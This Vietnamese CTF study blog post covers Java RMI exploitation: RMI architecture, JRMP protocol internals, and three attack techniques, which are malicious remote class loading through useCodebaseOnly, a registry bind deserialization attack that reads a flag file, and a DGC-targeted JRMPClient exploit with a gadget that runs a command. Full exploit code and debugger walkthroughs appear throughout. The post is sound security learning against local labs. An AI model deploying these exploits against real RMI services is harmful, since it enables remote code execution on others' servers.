Series này mình dự định sẽ viết lại các kĩ thuật khai thác rmi trong java mà chủ yếu là đọc được từ blog của anh peterjson. Vẫn với phương châm "ctf là thầy", mình sẽ cố gắng tìm các bài ctf liên quan để làm, phân tích, nghiền ngẫm vì mình tin rằng học qua ctf sẽ giúp dễ tiếp cận vấn đề hơn đồng thời tiết kiệm được nhiều thời gian hơn. Lại luyên thuyên nữa rồi 🤣 vào việc chính thôi.
Sơ lược về RMI Application
Về mục đích ra đời của rmi, nó được tạo ra để đáp ứng việc một object chạy ở JVM này invoke method của một object chạy ở JVM khác. Khái quát về kiến trúc sẽ như hình bên dưới:
Các thành phần:
Stub: có thể xem như một proxy bên phía client. Nằm trong client system và đóng vai trò như một gateway cho client program.
Skeleton: có thể xem như một proxy bên phía server. stub giao tiếp với nó để pass request đến remote object.
RMI Registry: là nơi để lưu các objects của server, mỗi lần server tạo ra một object và register object này với RMIregistry (thông qua method
bind()
hoặcreBind()
). Các objects được register sẽ có một tên riêng biệt hay còn gọi làbind name
.
Để invoke method của một remote object, client sẽ cần reference đến object đó, và điều này có thể dễ dàng thực hiện nhờ vào lookup()
và bind name
.
Trước tiên, registry khởi chạy sẽ đăng ký các method như lookup, list, bind… để client sử dụng, sau đó quá trình invoke một method sẽ diễn ra như sau:
Bên cạnh đó còn một điều mà ta vẫn cần phải quan tâm đến "Marshalling" và "Unmarshalling". Khi client invoke một method của remote object có chứa paramters, các paramters sẽ được "đóng gói" lại và gửi đi. Các parameters này có thể ở dạng primitive hoặc là object, trong trường hợp là primitive, rmi sẽ tạo một bản copy các parameters này và gửi đến remote method. Trong trường hợp là object, chúng sẽ được serialized. Quá trình này được gọi là marshalling. Bên phía server, sẽ thực hiện việc "mở" các packed parameters và invoke remote method. Quá trình này được gọi là unmarshalling.
Điểm cần để ý trong cái mình đề cập ở trên đó là có sự tham gia của serialize và deserialize nếu param là object 🧐.
RMI-JRMP protocol analysis
Về cơ bản, khi client sử dụng rmi service, stub sẽ gửi byte stream đến skel, các giá trị đầu trong byte stream này sẽ đại diện cho các trường magic, version, protocol, operation, ObjID, num, hash. Và bên phía server sẽ đọc ra các trường này từ byte stream, sau đó dựa vào chúng để invoke method tương ứng.
Mỗi RMI service giữ một object của UnicastServerRef
, map đến một class chứa remote method.
RMI service được xác định bằng một ObjID duy nhất
(server sẽ dựa vào ObjID để dispatch)
Method sẽ được referenced bằng method hash ID
Arguments cũng sẽ được contructed lại và đưa vào method
Chỗ này mình sẽ nói ngoài lề một tí, ở đây server bắt đầu quá trình unmarshall các parameters và như mình đã nói ở trên có thể khai thác deserialization (chall ascis_rmi_2)
Vậy tóm lại:
Các thông tin cần thiết để invoke một rmi service: TCP port, ObjID và target method's hash.
Registry và DGC là các service đặc biệt với các giá trị ObjID và method hash đã biết từ trước.
ObjID đối với các services khác có thể được lấy từ
lookup()
trong Registry.Method hash có thể được tính toán từ method description.
(Vì phần này mình chỉ nêu lí thuyết, để hiểu rõ hơn thì các bạn có thể tự setup và debug)
useCodebaseOnly property
Mình sẽ mượn bài LameRMI - Polictf2017 trong blog của anh peter để nói về kĩ thuật này.
Bài này theo như spoil của anh ấy thì là khai thác về codebase và remote class loading trong rmi. Mình sẽ viết lại những gì học được từ writeup của người khác 🥺 đồng thời làm rõ 1 số chỗ, writeup gốc các bạn xem tại đây.
Source code: https://github.com/polictf/sources2017/tree/master/pwn-lamermi
Mình làm theo hướng dẫn trong phần "Deploying" của link trên và chỉnh java.rmi.server.hostname=192.168.169.132
(192.168.169.132
là địa chỉ IP của kali vm)
Sau đó khởi chạy server
Thực chất bài này đề chỉ cho mỗi hostname sau đó player sẽ phải scan các open port với nmap, nhưng vì lười setup lại cho bài bản nên chắc là mình sẽ làm theo kiểu hơi thiêng về audit một tí.
Bên server sẽ có một interface là AverageService
và RMIregistry run ở port 1099.
package it.polictf.lamermi;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface AverageService extends Remote {
Double average(List<Integer> integerList) throws RemoteException;
}
Thử viết một đoạn code nhỏ để invoke method average()
\=> Có thể đoán được hàm này tính trung bình cộng các phần tử trong List
Từ file start.sh
khi nãy, ta biết được thuộc tính java.rmi.server.useCodebaseOnly=false
và java.security.policy=security.policy
- grant { permission java.security.AllPermission; };
Về thuộc tính useCodebaseOnly
mình có đọc về nó tại đây, focus vào các dòng sau
Tóm gọn lại ta có, nếu một bên có set thuộc tính java.rmi.server.codebase
và bên còn lại có thuộc tính java.rmi.server.useCodebaseOnly
là false nó sẽ dùng url được chỉ định ở codebase
của bên gửi và load java class được reference trong rmi request. Tới đây mình tự đặt câu hỏi, nếu một malicious class được load thì sẽ ra sao ? 😨
Để hiểu kĩ hơn nữa về codebase
, mình khuyến khích các bạn tham khảo tại đây.
Tiếp theo, mình tạo class Payload0
là subtype của ArrayList<Integer>
Sau đó invoke lại method average
nhưng lần này thay đổi 1 tí
\=> Báo lỗi ClassNotFoundException
Vậy nếu đặt Payload0.class
vào folder structure như bên dưới
Đồng thời set thêm thuộc tính codebase
, kết quả
Có GET request đến từ 192.168.169.132
Author's solution
Ý tưởng khai thác của tác giả là override một method của List<Integer>
được gọi trong average()
để execute code lấy kết quả và đọc thông qua exception.
Tạo một class mới Payload1
bởi vì server chỉ load các class mà nó chưa biết, nếu dùng lại class cũ thì sẽ không thể khiến server fetch tới python server của ta.
Script để tìm method của List<Integer>
được call trong average()
package it.polictf.lamermi;
import java.util.*;
public class Payload1 extends ArrayList<Integer> {
@Override
public Integer get(int index) {
throw new RuntimeException("get " + index);
}
@Override
public Iterator<Integer> iterator() {
Runtime.getRuntime().exec()
}
@Override
public ListIterator<Integer> listIterator() {
throw new RuntimeException("listIterator");
}
}
\=> Chèn payload vào bên trong method iterator()
Override iterator()
để list files:
package it.polictf.lamermi;
import java.io.File;
import java.util.*;
public class Payload2 extends ArrayList<Integer> {
@Override
public Iterator<Integer> iterator() {
File cwd = new File(".");
String msg = cwd.getAbsolutePath() + ": ";
for (String file : cwd.list())
msg += file + ", ";
throw new RuntimeException(msg);
}
}
Response
Exception in thread "main" java.lang.RuntimeException: /home/kali/Desktop/JavaLabs/pwn-lamermi/build/package/.: start.sh, lamermi-1.0-SNAPSHOT.jar, security.policy, flag,
at it.polictf.lamermi.Payload2.iterator(Payload2.java:14)
...
Cuối cùng là đọc file flag
RMIRegistryExploit chain
Vẫn là bài ctf khi nãy nhưng Mortic
đã áp dụng chain RMIRegistryExploit để solved
Mortic's solution
Ý tưởng khai thác: từ phía client bind một malicious object vào registry, và khiến bên phía server deserialization nó. => có thể khai thác được native deserialization. (gadget chain được sử dụng là "RMIRegistryExploit")
Main class
public static void main(String args[]) {
AverageService service = null;
Registry reg1 = null;
Remote p = new Exploit();
String host = args[0];
int port = Integer.parseInt(args[1]);
System.out.println("Searching registry at "+host+":"+port);
try {
reg1 = LocateRegistry.getRegistry(host,port);
} catch (RemoteException e) {
System.out.println("No registry found!\nAborting...");
e.printStackTrace();
return;
} finally {
System.out.println("Registry found!");
}
System.out.println("Starting exploit...");
try {
reg1.bind("new service", p);
} catch (RemoteException | AlreadyBoundException e) {
System.out.println(e.getMessage());
}
}
Exploit class
public class Exploit implements Remote, Serializable {
public void exploit() throws IOException {
/*
Cat flag is not java enough
*/
BufferedReader br = new BufferedReader(new FileReader("flag"));
try {
StringBuilder sb = new StringBuilder();
String line = br.readLine();
while (line != null) {
sb.append(line);
sb.append(System.lineSeparator());
line = br.readLine();
}
String everything = sb.toString();
/*
We cannot use System.out to print the string
so I decided to insert the result of the exploit inside
an exception.
All the unhandled exceptions are kindly sent back to the client.
*/
IOException e = new
IOException(everything);
throw e;
} finally {
br.close();
}
}
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
exploit();
in.defaultReadObject();
}
}
Kết quả
Mình sẽ nói về kĩ thuật này một tí, nhưng trước tiên vẫn nên setup để remote debug 😂
Ở start.sh
mình add thêm dòng này
Tạo một project với Intellij idea để kết nối tới và debug, bởi vì sẽ chỉ focus vào các class trong jdk nên ở project này mình add jdk 8u112 (lưu ý version nhé).
Bên phía client, đặt breakpoint tại RegistryImpl_Stub.bind()
, bên phía server đặt breakpoint tại RegistryImpl_Skel.dispatch()
, sau đó run file exploit
Bên client đụng bp, ta cùng check qua method bind
, một RemoteCall
được tạo với hash là 4905912898345647071L
, các đoạn code phía sau đơn giản là deserialize object muốn bind
Bên phía server đụng bp, chương trình sẽ tiếp tục thực thi đoạn code trong else
Gọi đến RegistryImpl.bind()
, đối với các version jdk nhỏ hơn, rmi sẽ không kiểm tra Registry và client host (host gọi method bind()
) phải nằm trên cùng một host, vì vậy remote host có thể dùng method bind()
đến Registry. Nhưng khi rmi đã thêm tính năng này - checkAccess
, chỉ local host mới có thể bind()
đến Registry.
Nhưng điều này không thành vấn đề bởi vì method checkAccess
được gọi sau khi server deserialize data gửi từ client
\=> Ta vẫn có thể khai thác native deserialization với sink của chain như hình bên dưới:
JRMPClient của mbechler
Trước khi đi vào phân tích chain này mình sẽ nói sơ qua về distributed garbage collection (DGC)
DGC
RMI subsytem triển khai DGC dựa trên việc đếm số lần reference của remote object, mục đích của việc này là để cung cấp khả năng quản lí bộ nhớ một cách tự động.
DGCClient là một triển khai bên phía client của RMI DGC system. Khi một live reference đi vào JVM, nó phải được register với DGCClient để được đưa vào DGC. Khi live reference đầu tiên của một remote object được register (khi client tạo ra một remote reference), dirty()
call sẽ gọi tới phía DGC server. Method này trả về một "lease" đảm bảo rằng server-side DGC sẽ không collect remote object trong một khoảng thời gian, client sẽ phải gửi thêm nhiều dirty()
call để renew cái lease trước khi nó hết hạn. DGCClient theo dõi các registered live reference, khi live reference của một remote object được collect locally, clean()
call sẽ được gọi tới phía server-side DGC, call này nói rằng server không cần phải giữ lại remote object đó nữa.
JRMPClient chain
Chain này sẽ target vào DGC mà mình đã nói ở phía trên, và để phân tích chain này mình sẽ sử dụng jdk 8u112 + bài ascis rmi 2 của svattt 2020 nhưng chỉnh lại một tí cho đơn giản.
Client-side setup
Class Player mình chỉnh lại như sau
package rmi;
import java.io.IOException;
import java.io.Serializable;
public class Player implements Serializable {
//final static long serialVersionUID = 5558077863197230219L;
private String name;
private boolean isAdmin;
public Player() {
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public boolean isAdmin() {
return this.isAdmin;
}
public void setAdmin(boolean admin) {
this.isAdmin = admin;
}
@Override
public String toString() {
if(this.isAdmin()){
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
return this.isAdmin() ? "ADMIN LOGGED IN": "USER LOGGED IN";
}
}
\=> Chỉ cần ta làm cho thuộc tính isAdmin=true
đồng thời method toSring()
được gọi là sẽ đạt được mục đích (vì là demo đơn giản nên mình sẽ gọi lên caculator)
Class để exploit (cũng như để phân tích chain):
package rmi;
import sun.rmi.transport.TransportConstants;
import javax.management.BadAttributeValueExpException;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.net.*;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.UnknownHostException;
public class ASCISPlayer {
public static void main(String[] args) throws Exception {
// Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//
// ASCISInterf as = (ASCISInterf) registry.lookup("ascis");
// System.out.println(as.login(payload));
Player pl = new Player();
pl.setAdmin(true);
BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
Field valField = payload.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(payload, pl);
String hostname = "127.0.0.1";
int port = 1099;
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
//Communication method
makeDGCCall(hostname, port, payload);
} catch (Exception e) {
e.printStackTrace(System.err);
}
//Utils.releasePayload("CommonsCollections3", payloadObject);
}
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
//Create a Socket communication with the rmi service that uses payloads/JRMPLIstener to start monitoring
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
//Get the output stream of Socket
OutputStream os = s.getOutputStream();
//Pack the output stream into a DataOutputStream stream object
dos = new DataOutputStream(os);
//Three sets of data are sent below, which are the data communicated before the handleMessages method of the server TCPTransport class is called
dos.writeInt(TransportConstants.Magic); // 1246907721;
dos.writeShort(TransportConstants.Version); // 2
dos.writeByte(TransportConstants.SingleOpProtocol); // 76
//80 is obtained in the handleMessages method of the TCPTransport class
dos.write(TransportConstants.Call); //80
//The following is still sending data to the server, but after serialization
@SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos);
//The following four sets of data are finally sent to the server to create an ObjID object, and the value is the same as dgcID[0:0:0, 2]
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
//The following data is obtained in each dispatch method of the server
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
//After so much data communication, the malicious payload can be sent here, and the server will deserialize it.
objOut.writeObject(payloadObject);
os.flush();
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
String cb = "";
for (URL u : us) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
Server-side setup
Bên phía server chỉnh lại class Player tương tự như ở client đồng thời run file ASCISServer
ở dạng Debug, set breakpoint tại TCPTransport.handleMessages
và chạy file exploit bên phía client. Lúc này bên phía server sẽ dừng lại tại breakpoint đã set và call stack sẽ như sau
Nhìn qua caller của handleMessages
- method TCPTransport$ConnectionHandler.run0
, ta thấy input stream được lấy từ socket đồng thời read int data và đưa vào var6
Tiếp theo, read short data đưa vào var7
đồng thời so sánh var6 == 1246907721 && var7 == 2
(ứng với magic và version) , nếu thỏa thì nhảy vào code trong if đồng thời đọc tiếp một byte, lưu vào var15
(ứng với protocol) và tiếp tục lấy giá trị này đưa vào switch
Ở đây debugger hiển thị sai giá trị của biến var15
, lẻ ra phải là 76 -> nhảy vào nhánh case 76 đồng thời gọi đến handleMessages
var5
(ứng với operation) mang giá trị 80 nên sẽ nhảy vào nhánh case 80
F7 để đi vào serviceCall()
, ta sẽ thấy có một đoạn code gọi đến method ObjID.read()
F7 để đi vào method này, một long data sẽ được đọc đồng thời lại gọi đến UID.read()
Tiếp tục nhảy vào trong, một int, long, short data lần lượt được đọc đồng thời trả về instance của class UID ứng với 3 giá trị này.
Vậy sau khi thực hiện ObjId.read()
một instance của class ObjID
được tạo và mang giá trị [0:0:0, 2]
var39
sẽ được đem đi so sánh với dgcID
dgcId
này được khởi tạo với dgcID = new ObjID(2)
Ta cùng nhìn sơ qua contructor của ObjID
và UID
Vậy dễ thấy giá trị của var39
tạo từ ObjId.read()
sẽ tương tự như dgcID
Các đoạn code tiếp theo sẽ get ra dispatcher tương ứng với target trước đó
và gọi đến dispatch()
Nhảy vào method này, ở đây debugger hiển thị sai giá trị của var3
(lẽ ra giá trị phải là 1)
F7 vào oldDispatch
, một long data được đọc và gọi đến DGCImpl_Skel.dispatch
Từ điều kiện và giá trị của các biến từ debugger, chương trình sẽ thực thi đoạn code trong else
vì giá trị của var3
là 1 -> nhảy vào case 1
và đây cũng chính là sink của chain này
Bài này mình dùng một cách cơ bản để trigger method toString
trong class Player
bằng cách set giá trị cho trường val
của intance tạo từ class BadAttributeValueExpException
là instance của class Player , luồng thực thi sẽ là: BadAttributeValueExpException.readObject() -> val.toString()
để minh chứng thì mình lại tiếp tục debug thôi
Từ hình trên có thể thấy các giá trị đã được set theo như ý muốn của ta.
Giờ mình sẽ chạy lại server ở chế độ Run
đồng thời run script exploit
Kết quả
Lưu ý: attack vector của các chain trên bị limit từ jdk version 8u121, 7u131, 6u141, sau khi có JEP 290
Kể từ sau các version đã nói trên thì từ file java.security
ta biết được jdk có add thêm một vài điều kiện cũng như whitelist các class được phép deserialize
Tóm tắt
Vì post này khá dài nên mình sẽ tóm tắt lại ở cuối để take note cho bản thân
useCodebaseOnly: có thể dẫn đến remote loading một malicous class.
RMIregistry: khai thác dựa vào việc client sẽ bind một malicious object vào registry bằng
bind()
sau đó server sẽ deserialize object này.JRMPClient: target vào DGC, bằng việc tạo ra các byte stream thỏa mãn điều kiện có thể dẫn đến insecure deserilization bên phía server
Các kĩ thuật RMIregistry và JRMPClient ở trên đều sẽ không hoạt động sau khi JEP ra đời